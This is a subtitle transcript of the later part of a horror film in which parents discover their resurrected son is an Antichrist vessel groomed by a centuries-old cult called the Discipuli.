00:46:51.440 --> 00:46:52.842
Here, Mommy.

00:46:53.443 --> 00:46:54.378
Jacob.

00:47:05.255 --> 00:47:07.257
Hey.

00:47:07.289 --> 00:47:08.358
I just heard
about what happened.

00:47:10.092 --> 00:47:12.928
-Are you okay?
-Yeah, we're just a bit shaken up.

00:47:12.961 --> 00:47:15.331
They said a number of people were
brought in to the emergency room,

00:47:15.364 --> 00:47:17.266
but nobody seems to
know what caused it.

00:47:17.300 --> 00:47:20.269
Well, the news is calling it some
kind of freak weather thing.

00:47:20.302 --> 00:47:21.304
We got lucky.

00:47:23.072 --> 00:47:24.340
I'm just glad
you both are okay.

00:47:26.108 --> 00:47:28.545
Hey, what do you say we get
some pizza on the way home.

00:47:28.577 --> 00:47:30.447
-Would you like that?
-Sure.

00:47:30.480 --> 00:47:31.380
Come on.

00:47:50.599 --> 00:47:51.868
Jacob.

00:47:53.536 --> 00:47:55.371
Time for bed.

00:47:55.405 --> 00:47:57.074
Make sure
he brushes his teeth, too.

00:47:59.409 --> 00:48:03.347
You hear that? Mommy says it's
time to brush your teeth.

00:48:13.155 --> 00:48:14.190
Jacob?

00:48:17.693 --> 00:48:19.028
Jacob?

00:48:20.563 --> 00:48:21.965
Are you here?

00:48:42.684 --> 00:48:43.920
What is it?

00:48:45.121 --> 00:48:47.190
Have you seen Jacob?

00:48:47.222 --> 00:48:48.491
Not since earlier.
I thought he was in here.

00:48:51.293 --> 00:48:53.297
My God. Jacob.

00:49:01.036 --> 00:49:02.939
-Jacob?
-Jacob?

00:49:04.474 --> 00:49:06.076
He couldn't have
gotten far. Come on.

00:49:11.481 --> 00:49:12.449
Hello?

00:49:59.195 --> 00:50:00.998
Such a shame
about Jeremy.

00:50:03.733 --> 00:50:06.036
I don't think I got a chance
to offer my condolences.

00:50:08.570 --> 00:50:09.538
Tell me, Father...

00:50:11.306 --> 00:50:16.779
What was it like to bring that
blade down on your own son's neck?

00:50:16.813 --> 00:50:18.315
He wasn't my son.

00:50:36.164 --> 00:50:38.501
Father, you're
losing your touch.

00:50:39.469 --> 00:50:40.403
Such a pity.

00:51:13.768 --> 00:51:16.171
I'm not gonna let
you do what you did

00:51:16.204 --> 00:51:18.740
to my son and I,
to anyone else.

00:51:18.773 --> 00:51:21.411
-I gave him a little life.
-You turned him into a monster.

00:51:21.443 --> 00:51:26.483
Well, one man's monster
is another man's God.

00:51:26.516 --> 00:51:27.717
Yeah, but my God will win.

00:51:31.786 --> 00:51:36.259
AND THE DEVIL WHO
HAD DECEIVED THEM...

00:51:36.291 --> 00:51:39.862
WAS THROWN INTO THE LAKE...

00:51:39.896 --> 00:51:43.365
OF FIRE AND SULFUR...

00:51:43.398 --> 00:51:48.337
WHERE THE BEAST
AND FALSE PROPHET WERE...

00:51:48.371 --> 00:51:52.175
AND WHERE THEY
WILL BE TORMENTED...

00:51:53.708 --> 00:51:55.210
DAY!

00:51:55.244 --> 00:51:56.179
AND NIGHT!

00:51:56.545 --> 00:51:57.513
FOREVER!

00:52:00.315 --> 00:52:02.618
Good-bye, Vetus Amicus.

00:52:10.492 --> 00:52:12.628
So filled with anger,

00:52:14.262 --> 00:52:17.266
consumed with vengeance you could
smell, but you couldn't taste.

00:52:20.536 --> 00:52:23.340
Tell me, old friend.

00:52:27.476 --> 00:52:29.146
Where's your God now?

00:52:38.286 --> 00:52:40.422
So much suffering.

00:52:42.625 --> 00:52:46.262
What kind of a God would
let his child endure it?

00:52:59.541 --> 00:53:02.278
Did your son cry out for mercy
before you cut his head off?

00:53:03.545 --> 00:53:05.314
Perhaps he's watching now.

00:53:06.382 --> 00:53:07.717
I wonder whose side he's on.

00:53:09.518 --> 00:53:10.619
Jacob.

00:53:26.869 --> 00:53:27.804
Jacob?

00:53:30.005 --> 00:53:31.240
Jacob?

00:53:33.376 --> 00:53:34.444
Jacob?

00:53:34.809 --> 00:53:36.311
Jacob?

00:53:38.014 --> 00:53:39.216
Come on.

00:53:51.360 --> 00:53:52.662
He's getting
stronger, isn't he?

00:53:54.664 --> 00:53:55.599
He's the one.

00:53:57.800 --> 00:53:58.602
I feel it.

00:53:59.835 --> 00:54:00.769
Jacob?

00:54:01.637 --> 00:54:02.505
Jacob?

00:54:03.505 --> 00:54:04.340
-Daddy?
-My God.

00:54:04.840 --> 00:54:05.709
Mommy?

00:54:16.719 --> 00:54:18.521
I'm ready
to come home now.

00:54:20.989 --> 00:54:22.391
I think we'd better go.

00:54:36.938 --> 00:54:39.007
Now, you can't
just run off like that.

00:54:39.041 --> 00:54:40.277
You understand that,
don't you?

00:54:40.909 --> 00:54:41.810
Jacob?

00:54:44.612 --> 00:54:45.815
I understand, Mommy.

00:54:49.784 --> 00:54:50.586
Michael?

00:54:52.387 --> 00:54:53.422
Michael?

00:54:56.625 --> 00:54:57.860
There's something
I need to do.

00:56:48.570 --> 00:56:50.639
"The Discipuli is a secret
society of wealthy noblemen

00:56:50.672 --> 00:56:52.441
"dating back to
17th-century Rome.

00:56:53.943 --> 00:56:56.045
"They dedicated their lives
to manipulating bloodlines

00:56:56.077 --> 00:56:58.882
"in order to give
birth to a true Antichrist,

00:57:00.548 --> 00:57:04.554
"Satan himself
reborn in human form.

00:57:04.586 --> 00:57:05.721
"The Discipuli believed

00:57:05.753 --> 00:57:06.721
"that the birth
and rise of Satan

00:57:06.755 --> 00:57:09.025
"would usher in a new age,

00:57:09.057 --> 00:57:12.695
"in which they could achieve
limitless power and wealth."

00:57:14.963 --> 00:57:16.032
My God.

00:57:28.543 --> 00:57:29.011
Father Francis?

00:57:30.579 --> 00:57:31.981
Yeah, he was in room 156.

00:57:41.123 --> 00:57:42.592
Hey, what are you doing here?

00:57:47.195 --> 00:57:49.998
Officer? Officers?

00:57:50.032 --> 00:57:51.835
Officer, you need to
talk to this guy.

00:58:02.878 --> 00:58:05.248
"After initial efforts failed,
the Discipuli realized

00:58:05.280 --> 00:58:07.549
"that their young subjects
must be offered willingly

00:58:07.583 --> 00:58:08.818
"by their
parents as sacrifices."

00:58:10.786 --> 00:58:12.855
"The children would become a
vessel for the Antichrist

00:58:12.887 --> 00:58:13.889
"until reaching maturity,

00:58:15.123 --> 00:58:16.358
"at which point
their real potential,

00:58:16.391 --> 00:58:17.826
"the devil within,
will awaken."

00:58:21.063 --> 00:58:22.965
-What are you doing?
-You scared me.

00:58:22.998 --> 00:58:24.867
I scared you?

00:58:24.900 --> 00:58:27.202
-What the hell is going on, Michael?
-Nothing.

00:58:29.038 --> 00:58:30.773
Is this about what
the priest told you?

00:58:32.608 --> 00:58:34.544
-Where were you tonight?
-It doesn't matter.

00:58:39.949 --> 00:58:42.519
Look, I've been thinking.
We should leave.

00:58:44.719 --> 00:58:46.588
-What?
-Everything that's happened tonight...

00:58:47.155 --> 00:58:48.791
This week...

00:58:48.824 --> 00:58:50.860
We should leave
town for a while.

00:58:50.893 --> 00:58:52.829
-For Jacob.
-For... for Jacob?

00:58:54.663 --> 00:58:57.567
And where would you
like to go, exactly?

00:58:59.335 --> 00:59:00.537
Here.

00:59:01.637 --> 00:59:02.939
-What's this?
-It's an address.

00:59:05.074 --> 00:59:06.659
The Stranger gave it to me.

00:59:06.660 --> 00:59:08.244
The Stranger? When?

00:59:08.277 --> 00:59:11.146
At the park, he said
we'd be safe there.

00:59:11.179 --> 00:59:12.614
What do you mean, safe?

00:59:12.615 --> 00:59:14.049
We promised to protect Jacob.

00:59:14.083 --> 00:59:15.401
You remember?

00:59:15.402 --> 00:59:16.719
Yeah.

00:59:16.751 --> 00:59:19.788
You remember what he said? We can't allow
anything to happen to him at any cost.

00:59:22.257 --> 00:59:23.726
And he's our son.

00:59:24.994 --> 00:59:26.629
Right.

00:59:26.661 --> 00:59:28.364
So what's the problem?

00:59:34.802 --> 00:59:36.771
You're probably right.

00:59:36.804 --> 00:59:38.840
Why don't you put a bag together,
and I'll finish up here, okay?

00:59:39.375 --> 00:59:41.043
-Really?
-Yeah.

00:59:41.076 --> 00:59:41.978
Okay.

01:00:08.269 --> 01:00:09.605
You okay?

01:00:10.739 --> 01:00:12.007
Yeah, I'm fine.

01:00:14.009 --> 01:00:16.012
Why don't you go in and get some
snacks for the road while I fill up?

01:00:16.045 --> 01:00:17.079
Good idea.

01:00:17.846 --> 01:00:18.880
I'll be right back.

01:00:19.380 --> 01:00:20.682
We'll be here.

01:01:44.800 --> 01:01:45.968
Quiet tonight?

01:02:02.851 --> 01:02:04.019
Thanks.

01:02:11.226 --> 01:02:12.061
Have a good one.

01:02:23.572 --> 01:02:24.774
I'm sorry.

01:02:34.148 --> 01:02:36.518
What happened? My God,
we have to save him.

01:02:36.552 --> 01:02:38.320
-No, no, no. Don't.
-Get off of me!

01:02:38.353 --> 01:02:41.124
-Rachel.
-Help me. There's a child in the car!

01:02:42.023 --> 01:02:43.125
He's your son!

01:02:43.126 --> 01:02:44.226
No, he's not!

01:02:52.601 --> 01:02:53.936
Jacob!

01:03:11.253 --> 01:03:12.088
It can't be.

01:03:14.489 --> 01:03:16.025
-Rachel. Rachel, no.
-Jacob.

01:03:19.561 --> 01:03:21.063
How could you do this?

01:03:21.096 --> 01:03:22.798
Rachel. Rachel,
Rachel, please.

01:03:42.217 --> 01:03:43.318
Have you found
my wife and son?

01:03:46.153 --> 01:03:48.456
We'll get to that, Mr. Field.

01:03:48.489 --> 01:03:51.593
No, you don't understand.
You have to find them.

01:03:51.626 --> 01:03:54.096
You know how many murders we
had in this town last year?

01:03:55.030 --> 01:03:56.332
Go on, go ahead, guess.

01:03:57.965 --> 01:03:59.234
-We're wasting time.
-None.

01:04:02.503 --> 01:04:04.239
You know how many we had
the year before that?

01:04:06.675 --> 01:04:07.977
None?

01:04:10.211 --> 01:04:11.414
Smarter than you
look, Mr. Field.

01:04:15.117 --> 01:04:16.219
Do you know this man?

01:04:18.920 --> 01:04:20.489
No.

01:04:20.521 --> 01:04:22.324
That's funny, 'cause
I got three witnesses

01:04:22.356 --> 01:04:24.994
that put you in his hotel room
hours after the time of his death.

01:04:28.563 --> 01:04:29.898
We'll get back to him.

01:04:32.601 --> 01:04:33.469
How about this man?

01:04:39.942 --> 01:04:41.010
It's that...

01:04:41.976 --> 01:04:43.011
That priest from the church.

01:04:44.211 --> 01:04:45.980
Now, the witnesses say
you were the only one

01:04:46.014 --> 01:04:48.550
that went up there
and tried to help him.

01:04:48.583 --> 01:04:51.320
In fact, you were the one that
actually put out the flames.

01:04:51.353 --> 01:04:52.288
Is that true?

01:04:53.188 --> 01:04:53.856
Yes.

01:04:56.090 --> 01:04:58.393
Okay, well,
here's my problem.

01:04:58.427 --> 01:05:00.528
I haven't had a murder in
this town in two years.

01:05:00.561 --> 01:05:02.197
Now I got two dead priests,

01:05:02.230 --> 01:05:03.965
and the only connection
between them both is you.

01:05:09.304 --> 01:05:10.273
Are you sure you
don't know this man?

01:05:17.144 --> 01:05:20.648
Father Francis and I met up at a
restaurant a couple days ago.

01:05:20.681 --> 01:05:23.318
I was having family issues.

01:05:24.186 --> 01:05:26.255
He said he wanted to help.

01:05:26.288 --> 01:05:29.023
Now, if you could just
help me find my wife and son.

01:05:32.594 --> 01:05:35.097
Wait. What's going on?
What are you doing?

01:05:37.599 --> 01:05:38.434
What's going on?

01:05:40.135 --> 01:05:41.403
Too many eyes and ears.

01:05:47.074 --> 01:05:48.076
Here's the truth.

01:05:49.143 --> 01:05:51.579
I've been following Father
Francis for a while now,

01:05:51.612 --> 01:05:53.481
ever since he fled the city
after murdering his son.

01:05:55.182 --> 01:05:56.719
That's not
exactly what happened.

01:05:56.751 --> 01:05:58.219
I know about
the Discipuli cult.

01:05:59.621 --> 01:06:01.456
I know that Father Francis
was following them.

01:06:03.291 --> 01:06:05.728
Children rising
from the grave,

01:06:05.760 --> 01:06:08.230
death and destruction following
them wherever they go.

01:06:13.402 --> 01:06:15.737
Six victims succumbed
to their injuries

01:06:15.771 --> 01:06:17.439
just this afternoon.

01:06:17.472 --> 01:06:18.541
If you knew it
was happening...

01:06:19.673 --> 01:06:21.309
Why didn't you do
something about it?

01:06:21.342 --> 01:06:23.078
I told you,
lots of eyes and ears.

01:06:24.278 --> 01:06:26.748
We're talking about
a secret society here.

01:06:26.782 --> 01:06:28.250
It's been around
for hundreds of years.

01:06:29.284 --> 01:06:31.019
That's a hell of
a lot of influence.

01:06:31.719 --> 01:06:33.321
What I need is
an active case.

01:06:36.657 --> 01:06:39.228
You're talking about Jacob.

01:06:39.260 --> 01:06:40.362
Do you happen to
know where they went?

01:06:42.764 --> 01:06:44.800
They gave my wife an address.

01:06:44.833 --> 01:06:46.068
Can you write
that down, please?

01:06:46.835 --> 01:06:48.204
No, I don't need to.

01:06:49.137 --> 01:06:51.573
I'm going.

01:06:51.606 --> 01:06:53.742
You're the prime suspect
in an attempted murder case.

01:06:53.775 --> 01:06:55.543
-You're not going anywhere.
-I don't care.

01:06:57.378 --> 01:07:00.148
You can cuff me,
shackle me, do what you want.

01:07:01.115 --> 01:07:02.284
But I'm going with you.

01:07:32.847 --> 01:07:34.282
Hello?

01:07:42.858 --> 01:07:44.293
Is there anybody here?

01:07:52.833 --> 01:07:54.069
Welcome.

01:07:56.204 --> 01:07:57.440
I'm glad to see you.

01:08:00.675 --> 01:08:01.510
What is this place?

01:08:02.744 --> 01:08:04.213
Someplace safe.

01:08:05.380 --> 01:08:06.382
Do come.

01:08:15.389 --> 01:08:17.626
Please, make
yourselves at home.

01:08:18.627 --> 01:08:19.662
After all,

01:08:23.899 --> 01:08:25.367
it's been put here for you.

01:08:28.235 --> 01:08:29.438
Quite the collection.

01:08:30.704 --> 01:08:34.909
Reminders of
a rich and storied history.

01:08:34.943 --> 01:08:38.447
You know, we've been waiting
for this a long time.

01:08:40.381 --> 01:08:43.184
I want you to know
how dedicated we all are

01:08:43.217 --> 01:08:45.320
to seeing you reach
your full potential.

01:08:46.320 --> 01:08:47.890
What potential is that?

01:08:47.922 --> 01:08:50.224
Don't be
concerned, Rachel.

01:08:50.257 --> 01:08:52.327
You and your son
will be safe here.

01:08:53.295 --> 01:08:54.430
Is he my son?

01:08:55.729 --> 01:08:57.632
Even if he weren't,

01:08:57.666 --> 01:09:01.703
would he be less deserving
of your love, nurture, care?

01:09:04.271 --> 01:09:05.707
Every boy
deserves a mother.

01:09:20.822 --> 01:09:23.592
Your husband's arrived, and
he's brought some friends.

01:09:25.827 --> 01:09:26.962
I'm gonna need
you to stay here.

01:09:26.994 --> 01:09:28.663
You can't leave me.

01:09:28.697 --> 01:09:30.599
If your wife and son
are here, we'll find 'em.

01:09:40.475 --> 01:09:41.777
You... you don't understand.

01:09:42.743 --> 01:09:43.645
It's being handled.

01:09:45.346 --> 01:09:46.782
No. Hey!

01:09:46.814 --> 01:09:47.715
Hey!

01:09:49.016 --> 01:09:50.351
Jacob.

01:09:53.622 --> 01:09:55.324
There's a threat.

01:09:55.356 --> 01:09:56.658
We need to move
to the next step.

01:09:57.391 --> 01:09:58.359
Can you do it?

01:09:59.961 --> 01:10:01.197
Good boy.

01:10:14.341 --> 01:10:15.943
It's police. We have a warrant
to search the premises.

01:10:15.976 --> 01:10:17.212
Open up.

01:10:34.029 --> 01:10:35.331
Jacob.

01:10:38.632 --> 01:10:41.369
Jacob? What's he doing?
What's going on?

01:10:57.018 --> 01:10:58.287
What's happening?
What's he doing?

01:10:58.319 --> 01:10:59.520
Doing what needs to be done.

01:11:28.350 --> 01:11:29.851
You have to stop him.

01:11:29.884 --> 01:11:31.386
We can't let
them hurt the boy.

01:11:31.418 --> 01:11:32.554
But he's killing them.

01:11:33.688 --> 01:11:34.590
Jacob?

01:11:43.698 --> 01:11:44.533
Larson.

01:11:46.868 --> 01:11:48.737
Get me out of here!

01:11:48.770 --> 01:11:49.571
Let me out!
Open the door!

01:11:50.471 --> 01:11:51.506
Open the door.

01:11:55.109 --> 01:11:56.311
Please, move!

01:12:04.918 --> 01:12:05.887
Here, here.

01:12:08.823 --> 01:12:09.858
Come on.

01:12:17.465 --> 01:12:19.335
Okay, Mr. Young.

01:12:20.868 --> 01:12:22.371
-What now?
-Now?

01:12:23.171 --> 01:12:24.606
We find my son. Come on.

01:12:59.841 --> 01:13:00.843
Come on.

01:13:29.570 --> 01:13:30.706
We're all clear.

01:13:32.207 --> 01:13:34.176
What?

01:13:34.208 --> 01:13:35.411
Thought I saw something.

01:13:40.814 --> 01:13:41.983
He's toying with us.

01:13:44.085 --> 01:13:45.854
Might be the Antichrist,
but he's still a child.

01:13:47.822 --> 01:13:49.891
I think it's time we give that
son of a bitch a time-out.

01:13:50.925 --> 01:13:52.528
Yeah, come on.

01:14:08.576 --> 01:14:09.610
He's got to be up here.

01:14:11.246 --> 01:14:12.448
Come on.

01:14:33.801 --> 01:14:34.837
Jacob?

01:14:37.005 --> 01:14:38.006
Rachel?

01:14:43.877 --> 01:14:45.480
I know you're in here.

01:14:53.154 --> 01:14:54.590
Show yourself.

01:14:58.659 --> 01:14:59.760
Hide-and-seek?

01:15:00.261 --> 01:15:01.497
Great.

01:15:21.215 --> 01:15:22.518
Let's play, Daddy.

01:15:25.319 --> 01:15:26.121
Okay.

01:15:28.323 --> 01:15:31.527
My friend,
he'd like to play, too.

01:15:33.194 --> 01:15:34.129
Is that okay?

01:15:35.596 --> 01:15:36.664
Sure.

01:15:39.067 --> 01:15:40.135
What are we gonna play?

01:15:41.802 --> 01:15:43.137
How about we play...

01:15:46.341 --> 01:15:47.543
Dead.

01:15:54.381 --> 01:15:56.650
Jacob, stop.

01:15:56.684 --> 01:15:58.153
You stop that this instant,
you understand?

01:16:00.954 --> 01:16:01.957
It's your choice.

01:16:21.141 --> 01:16:22.144
Look out.

01:16:30.717 --> 01:16:31.987
You know what
needs to be done.

01:16:33.854 --> 01:16:35.122
He's the only one
standing in your way.

01:16:43.664 --> 01:16:44.733
Please, don't hurt him.

01:16:47.668 --> 01:16:48.936
I know you're not my son.

01:16:51.672 --> 01:16:53.641
But I also know there's still
part of him in there somewhere.

01:16:58.712 --> 01:16:59.780
I'm sorry...

01:17:01.682 --> 01:17:03.652
For everything I've done
to you and your mother.

01:17:06.319 --> 01:17:07.889
I'm so, so sorry.

01:17:09.856 --> 01:17:10.993
But you don't
have to do this.

01:17:12.426 --> 01:17:13.961
We can end this
nightmare right now.

01:17:14.695 --> 01:17:16.163
All you have to do

01:17:17.364 --> 01:17:18.634
is come with us.

01:17:25.707 --> 01:17:26.775
Please.

01:17:30.278 --> 01:17:31.246
You're lying.

01:17:44.458 --> 01:17:45.993
Please.

01:17:49.096 --> 01:17:49.930
Finish him.

01:17:59.106 --> 01:18:00.141
Honey.

01:18:02.376 --> 01:18:04.246
It's gonna be okay.
It's gonna be...

01:18:07.081 --> 01:18:08.750
We've got to go.
We've got to get out of here.

01:18:25.533 --> 01:18:26.702
Come on.

01:18:39.046 --> 01:18:39.881
Run.

01:18:41.149 --> 01:18:42.150
Come on.

01:18:51.192 --> 01:18:53.761
Okay, baby, gonna
get you to a hospital.

01:18:53.795 --> 01:18:54.796
Okay.

01:19:06.541 --> 01:19:07.659
Faster. Go faster.

01:19:07.660 --> 01:19:08.777
I'm trying.

01:19:16.984 --> 01:19:18.987
Get off the road now.

01:19:19.020 --> 01:19:20.889
-Just get to the house.
-Okay.

01:19:36.002 --> 01:19:37.773
-What are they waiting for?
-I don't know.

01:19:38.506 --> 01:19:39.908
-Come on.
-Wait.

01:20:04.899 --> 01:20:06.802
Upstairs, now. Now.

01:20:15.609 --> 01:20:19.079
Mommy? Daddy? I'm home.

01:20:37.899 --> 01:20:39.401
Where are you, Father?

01:21:15.002 --> 01:21:17.405
You think you can defeat me?

01:21:17.438 --> 01:21:21.176
You think you
have power over me?

01:21:22.076 --> 01:21:23.878
I'm the Father now.

01:21:30.251 --> 01:21:33.922
I am the Father, the Son.

01:21:33.954 --> 01:21:36.091
I am the unholy trinity.

01:21:47.001 --> 01:21:49.237
You should know, Daddy,

01:21:49.270 --> 01:21:51.239
this is all your fault.

01:22:00.747 --> 01:22:02.250
Are you okay?

01:22:04.585 --> 01:22:06.186
It has to be me.

01:22:06.220 --> 01:22:08.155
Wh... What you mean?

01:22:08.189 --> 01:22:09.356
I have to do it.
It has to be me.

01:23:03.144 --> 01:23:06.514
Go to hell.

01:24:05.706 --> 01:24:09.143
Try to take it easy
for a couple of days, okay?

01:24:09.176 --> 01:24:10.612
Keep off your feet,
if possible.

01:24:14.381 --> 01:24:15.817
And...

01:24:15.850 --> 01:24:17.185
I'm sorry for your loss.

01:24:18.152 --> 01:24:19.453
Thank you, Doctor.

01:24:52.353 --> 01:24:53.488
It's never easy, is it?

01:24:54.654 --> 01:24:56.157
So young.

01:24:57.158 --> 01:24:58.226
So vulnerable.

01:24:59.894 --> 01:25:01.429
You have my condolences.

01:25:03.264 --> 01:25:04.466
However...

01:25:06.699 --> 01:25:08.536
What if I told you I
could bring him back?

ZeroDay Forums Mini